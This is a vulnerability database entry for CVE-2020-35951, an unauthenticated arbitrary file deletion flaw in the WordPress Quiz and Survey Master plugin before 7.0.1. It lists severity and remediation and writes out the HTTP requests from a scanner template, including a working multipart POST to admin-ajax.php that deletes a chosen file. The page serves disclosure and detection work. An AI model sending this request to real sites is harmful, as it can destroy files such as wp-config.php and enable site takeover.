🔙 목록으로 돌아가기

CVE-2020-35951: Wordpress Quiz and Survey Master <7.0.1 - Arbitrary File Deletion

TitleWordpress Quiz and Survey Master <7.0.1 - Arbitrary File Deletion
Authorprincechaddha
SeverityCritical
ImpactThis vulnerability can lead to unauthorized deletion of critical files, resulting in data loss or server compromise.
RemediationUpgrade to the latest version of Wordpress Quiz and Survey Master plugin (7.0.1 or higher) to mitigate this vulnerability.
CVSS Score9.9
EPSS Score0.58661
CVE IDCVE-2020-35951
CWE IDCWE-306
Tags cve cve2020 wordpress wp-plugin wpscan intrusive expresstech vuln

🔍 Vulnerability Description

Wordpress Quiz and Survey Master <7.0.1 allows users to delete arbitrary files such as wp-config.php file, which could effectively take a site offline and allow an attacker to reinstall with a WordPress instance under their control. This occurred via qsm_remove_file_fd_question, which allowed unauthenticated deletions (even though it was only intended for a person to delete their own quiz-answer files).

🌐 HTTP Request

GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Content-Length: 312
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92
Accept-Encoding: gzip

------WebKitFormBoundaryBJ17hSJBjuGrnW92

Content-Disposition: form-data; name="action"



qsm_remove_file_fd_question

------WebKitFormBoundaryBJ17hSJBjuGrnW92

Content-Disposition: form-data; name="file_url"



aGnL8uwp-content/plugins/quiz-master-next/README.md

------WebKitFormBoundaryBJ17hSJBjuGrnW92--
GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35951.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-35951.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A